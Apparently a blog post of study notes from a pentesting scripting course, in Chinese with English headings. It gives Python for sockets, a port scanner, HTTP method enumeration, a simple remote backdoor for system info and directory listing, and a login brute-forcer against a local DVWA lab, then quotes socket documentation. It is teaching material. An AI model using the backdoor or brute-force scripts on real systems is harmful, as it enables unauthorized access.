Pentester Scripting - Study Guide

Posted by r3kind1e on October 25, 2021

Scripting for Pentesters

The following is a list of the Python programs we are going to write.

  • Network Sockets
  • HTTP Verbs Enumerator
  • Port Scanner
  • Login brute force
  • Backdoor

Network Sockets

参考:https://docs.python.org/zh-cn/3/library/socket.html

我们将要编写的是一个程序,它将自身绑定到特定的地址和端口,并将侦听传入的 TCP 通信(服务器)。

以下代码是服务器的工作示例。 首先,我们需要导入socket模块,然后从用户那里获取地址和端口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket

SRV_ADDR = input("Type the server IP address: ")
SRV_PORT = int(input("Type the server port: "))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
print("Server started! Waiting for connections...")
connection, address = s.accept()
print('Client connected with address: ', address)
while 1:
    data = connection.recv(1024)
    if not data: break
    connection.sendall(b'-- Message Received --\n')
    print(data.decode('utf-8'))
connection.close()

在这里,我们使用使用 TCP 的默认系列套接字 (AF_INET) 和面向连接的默认套接字类型 (SOCK_STREAM) 创建一个新套接字。

1
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

然后程序将打印一条显示连接客户端地址的消息,然后将启动一个无限循环以获取并打印从它接收到的所有消息。

1
2
print("Server started! Waiting for connections...")
connection, address = s.accept()

配置套接字后,我们会打印一条消息,说明服务器已启动。 然后,我们使用 accept 函数来接受传入的连接。 该函数返回两个值:

  • connection:是我们将用来发送和接收数据的套接字对象。

  • address:它包含绑定到套接字的客户端地址

1
2
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)

bind 函数将套接字绑定到提供的地址和端口,而 listen 函数指示套接字侦听传入的连接。 参数 1 指定排队连接的最大数量。

在另一台主机上运行netcat作为客户端:

1
nc 192.168.248.148 27015

练习

您现在的任务是使用 socket 模块创建一个简单的客户端,该客户端启动与 Python 服务器的连接,然后发送消息。 这一次,我们必须使用名为 connect 的函数,而不是使用 bind 和 listen 函数。

自己写的

1
2
3
4
5
6
7
8
9
10
import socket

HOST = '192.168.248.129'
PORT = 27015

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    s.sendall(b"deep inside me i'm fading to black\n")
    data = s.recv(1024)
print(repr(data))

Python客户端。 我们从用户那里获取服务器地址和端口,然后我们开始连接(connect)并发送消息(sendall)。 请注意,我们需要使用 encode() 函数对消息进行编码(因为用户输入的字符串是str,而发送的数据是字节流)。

1
2
3
4
5
6
7
8
9
10
11
12
import socket

SER_ADDR = input("Type the server IP address: ")
SER_PORT = int(input("Type the server port: "))

my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
my_sock.connect((SER_ADDR, SER_PORT))
print("Connection established")

message = input("Message to send: ")
my_sock.sendall(message.encode())
my_sock.close()

Port Scanner

端口扫描器 该脚本采用 IP 地址和端口范围,并验证提供的端口是否打开。

与前面的示例类似,我们必须导入 socket 模块。 我们将使用 connect_ex() 函数,而不是使用 connect() 函数,如果操作成功则返回 0; 否则,它返回一个错误代码。 这样我们就可以知道连接是否发生。

我自己写的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import socket

HOST = input("Please input the host address: ")
start = int(input("Please input the start port number: "))
end = int(input("Please input the end port number: "))
i = 0
openports = []

print("scan report for {}".format(HOST))
try:
    for port in range(start, end+1):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            iResult = s.connect_ex((HOST, port))
            s.close()
            if iResult == 0:
                openports.append(port)
                i += 1
    print("Host is up")
    print("shown: {} open ports".format(i))
    print(openports)
except socket.error:
    print("Note: Host seems down. ")
finally:
    s.close()

官方的参考答案:

这个简单的代码很适合我们的目的。 我们首先从用户那里获取要扫描的 IP 地址和端口范围。 然后在 for 循环中,代码尝试连接到所提供范围内的每个端口。 如果连接的结果是 0 端口是开放的; 否则,它被认为是关闭的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import socket

target = input("Enter the IP address to scan: ")
portrange = input('Enter the port range to scan (eg 5-200): ')

lowport = int(portrange.split('-')[0])
highport = int(portrange.split('-')[1])

print('Scanning host ', target, 'from port', lowport, 'to port', highport)

for port in range(lowport, highport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    status = s.connect_ex((target, port))
    if(status == 0):
        print('*** Port', port, '- OPEN ***')
    else:
        print('Port', port, '- CLOSED')
    s.close()

Backdoor - Exercise

后门 - 练习 我们希望您构建的是一个简单的 Python 后门(客户端和服务器),它允许您:

  • 获取一些系统信息(您决定)

  • 获取特定远程文件夹的一些内容

您可以使用以下模块来做到这一点:

Socket: https://docs.python.org/3/library/socket.html

OS: https://docs.python.org/3.3/library/os.html

Platform: https://docs.python.org/3/library/platform.html

我个人写的源码:Backdoor - Exercise

我的实现思路是:客户端获取本地的系统信息和文件夹内容,然后将结果发送到服务器。

而官方的实现思路是:客户端向服务器发送选项,而服务器实现选项对应的功能后,将结果返回给客户端。也就是说获取的是服务器的主机信息。

个人认为按照官方的实现思路,在目标主机上监听端口的操作过于敏感。相应的,让目标主机主动发起连接,而攻击者的主机进行监听会更好。

Note

多次运行一个示例,且每次执行之间等待时间过短,可能导致这个错误:

1
OSError: [Errno 98] Address already in use

这是因为前一次运行使套接字处于 TIME_WAIT 状态,无法立即重用。

要防止这种情况,需要设置一个 socket 标志 socket.SO_REUSEADDR:

1
2
3
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))

SO_REUSEADDR 标志告诉内核将处于 TIME_WAIT 状态的本地套接字重新使用,而不必等到固有的超时到期。

官方示例:

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 6666

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()
while 1:
    try:
        data = connection.recv(1024)
    except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()

client.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import socket

SRV_ADDR = input("Type the server IP address: ")
SRV_PORT = int(input("Type the server port: "))

def print_menu():
    print("""\n\n0) close the connection
    1) Get system info
    2) List directory contents""")

my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
my_sock.connect((SRV_ADDR, SRV_PORT))

print("Connection established")
print_menu()

while 1:
    message = input("\n-Select an option: ")

    if(message == "0"):
        my_sock.sendall(message.encode())
        my_sock.close()
        break

    elif(message == "1"):
        my_sock.sendall(message.encode())
        data = my_sock.recv(1024)
        if not data: break
        print(data.decode('utf-8'))

    elif(message == "2"):
        path = input("Insert a path: ")
        my_sock.sendall(message.encode())
        my_sock.sendall(path.encode())
        data = my_sock.recv(1024)
        data = data.decode('utf-8').split(",")
        print("*"*40)
        for x in data:
            print(x)
        print("*"*40)

    print_menu()

HTTP

HTTP.client

现在我们要构建一个 Python 程序,给定 IP 地址/主机名和端口,验证 Web 服务器是否启用了 HTTP 方法 OPTIONS。

如果是,它会尝试枚举所有其他允许的 HTTP 方法。

该代码尝试连接到提供的 IP 地址,并将启动 OPTIONS 请求。

如果请求成功,程序将获取服务器响应头并提取所有允许的 HTTP 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import http.client

print("** This program returns a list of methods if OPTIONS is enabled **")

host = input("Insert the host/IP: ")
port = input("Insert the port(default:80):")

if(port == ""):
    port = 80

try:
    connection = http.client.HTTPConnection(host, port)
    connection.request('OPTIONS', '/')
    response = connection.getresponse()
    print("Enabled methods are: ", response.getheader('allow'))
    connection.close()
except ConnectionRefusedError:
    print("Connection failed")

HTTP - 练习 尝试创建一个程序来验证特定资源是否存在。 您可以通过发送 GET 请求,然后使用名为 status() 的函数检查响应中返回的状态代码来完成此操作。

自己写的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import http.client

host = input("Insert the host/IP: ")
port = input("Insert the port(default:80):")
resource = input("Insert the resource to be verified: ")
if not port:
    port = "80"
conn = http.client.HTTPConnection(host)
conn.request("GET", resource)
r1 = conn.getresponse()
if r1.status == 200:
    print("The resource {} exists.".format(resource))
else:
    print("The resource {} doesn't exist.".format(resource))

官方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import http.client

host = input("Insert the host/IP: ")
port = input("Insert the port(default:80): ")
url = input("Insert the url: ")

if not port:
    port = 80

try:
    connection = http.client.HTTPConnection(host, port)
    connection.request('GET', url)
    response = connection.getresponse()
    print("Server response:", response.status)
    connection.close()
except ConnectionRefusedError:
    print("Connection failed")

登录 Brute Force - 练习

我们现在希望您构建的是一个小程序,它将针对 Web 应用程序登录表单测试常用用户名和密码列表(取自文件)。

你可以只使用两个 Python 模块来做到这一点:

我自己写的源码:

注意,此脚本仅针对DVWA的Brute Force模块,Security Level: low。并不具备通用性。

从文件username.txt中读取用户名,password.txt中读取密码。然后使用request模块构造一个GET请求,参数中携带用户名密码,并且在Cookie:请求头中携带对应的cookie。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import re
import requests


def readfile(filename):
    with open(filename) as f:
        lines = f.readlines()
        lines = [line.rstrip() for line in lines]
        return lines


usernames = readfile('username.txt')
passwords = readfile('password.txt')
for username in usernames:
    for password in passwords:
        payload = {'username': username, 'password': password, 'Login':'Login'}
        cookies = dict(security='low', PHPSESSID='nic057r3k3n0dkslhr3f92vs4d')
        r = requests.get('http://127.0.0.1/DVWA/vulnerabilities/brute/', params=payload, cookies=cookies)

        try:
            r.raise_for_status()
            if re.search(r'<p>Welcome to the password protected area', r.text):
                print("Find username: '{}' and password: '{}' successfully login in.".format(username, password))
        except requests.exceptions.HTTPError:
            print("The HTTP request returned an unsuccessful status code.")

参考:HTTP POST and GET with cookies for authentication in python、

Requests: HTTP for Humans Quickstart、Python: How to use RegEx in an if statement?、re — 正则表达式操作、How to read a file line-by-line into a list?。

参考

The Python Standard Library: Sockets

The Python Standard Library: OS

The Python Standard Library: Platform

http.client

Black Hat Python

The Python Tutorial

The Python Standard Library

Violent-Python-Cookbook-Penetration-Engineers

官方文档

函数

创建套接字

下列函数都能创建 套接字对象.

socket.socket(family=AF_INET, type=SOCK_STREAM, proto=0, fileno=None)

使用给定的地址族、套接字类型和协议号创建一个新的套接字。 地址族应为 AF_INET (默认值), AF_INET6, AF_UNIX, AF_CAN, AF_PACKET 或 AF_RDS 之一。 套接字类型应为 SOCK_STREAM (默认值), SOCK_DGRAM, SOCK_RAW 或其他可能的 SOCK_ 常量之一。 协议号通常为零并且可以省略,或在协议族为 AF_CAN 的情况下,协议应为 CAN_RAW, CAN_BCM, CAN_ISOTP 或 CAN_J1939 之一。如果指定了 fileno,那么将从这一指定的文件描述符中自动检测 family、type 和 proto 的值。如果调用本函数时显式指定了 family、type 或 proto 参数,可以覆盖自动检测的值。这只会影响 Python 表示诸如 socket.getpeername() 一类函数的返回值的方式,而不影响实际的操作系统资源。与 socket.fromfd() 不同,fileno 将返回原先的套接字,而不是复制出新的套接字。这有助于在分离的套接字上调用 socket.close() 来关闭它。新创建的套接字是 不可继承的。

address (二元组 (host, port) )

套接字对象

套接字对象具有以下方法。除了 makefile(),其他都与套接字专用的 Unix 系统调用相对应。

socket.bind(address)

将套接字绑定到 address。套接字必须尚未绑定。( address 的格式取决于地址簇 —— 参见上文)

引发一个 审计事件 socket.bind,附带参数 self、address。

socket.listen([backlog])

启动一个服务器用于接受连接。如果指定 backlog,则它最低为 0(小于 0 会被置为 0),它指定系统允许暂未 accept 的连接数,超过后将拒绝新连接。未指定则自动设为合理的默认值。

在 3.5 版更改: backlog 参数现在是可选的。

socket.accept()

接受一个连接。此 socket 必须绑定到一个地址上并且监听连接。返回值是一个 (conn, address) 对,其中 conn 是一个 新 的套接字对象,用于在此连接上收发数据,address 是连接另一端的套接字所绑定的地址。

新创建的套接字是 不可继承的。

socket.recv(bufsize[, flags])

从套接字接收数据。返回值是一个字节对象,表示接收到的数据。bufsize 指定一次接收的最大数据量。可选参数 flags 的含义请参阅 Unix 手册页 recv(2),它默认为零。

注解

为了最佳匹配硬件和网络的实际情况,bufsize 的值应为 2 的相对较小的幂,如 4096。

socket.sendall(bytes[, flags])

发送数据给套接字。本套接字必须已连接到远程套接字。可选参数 flags 的含义与上述 recv() 中的相同。与 send() 不同,本方法持续从 bytes 发送数据,直到所有数据都已发送或发生错误为止。成功后会返回 None。出错后会抛出一个异常,此时并没有办法确定成功发送了多少数据。

socket.close()

将套接字标记为关闭。当 makefile() 创建的所有文件对象都关闭时,底层系统资源(如文件描述符)也将关闭。一旦上述情况发生,将来对套接字对象的所有操作都会失败。对端将接收不到任何数据(清空队列数据后)。

垃圾回收时,套接字会自动关闭,但建议显式 close() 它们,或在它们周围使用 with 语句。

在 3.6 版更改: 现在,如果底层的 close() 调用出错,会抛出 OSError。

注解

close() 释放与连接相关联的资源,但不一定立即关闭连接。如果需要及时关闭连接,请在调用 close() 之前调用 shutdown()。

socket.connect(address)

连接到 address 处的远程套接字。( address 的格式取决于地址簇 —— 参见上文)

如果连接被信号中断,则本方法将等待直至连接完成,或者如果信号处理句柄未引发异常并且套接字被阻塞或已超时则会在超时后引发 TimeoutError。 对于非阻塞型套接字,如果连接被信号中断则本方法将引发 InterruptedError 异常(或信号处理句柄所引发的异常)。

引发一个 审计事件 socket.connect,附带参数 self、address。

在 3.5 版更改: 本方法现在将等待,直到连接完成,而不是在以下情况抛出 InterruptedError 异常。该情况为,连接被信号中断,信号处理程序未抛出异常,且套接字阻塞中或已超时(具体解释请参阅 PEP 475 )。

socket.connect_ex(address)

类似于 connect(address),但是对于 C 级别的 connect() 调用返回的错误,本函数将返回错误指示器,而不是抛出异常(对于其他问题,如“找不到主机”,仍然可以抛出异常)。如果操作成功,则错误指示器为 0,否则为 errno 变量的值。这对支持如异步连接很有用。

引发一个 审计事件 socket.connect,附带参数 self、address。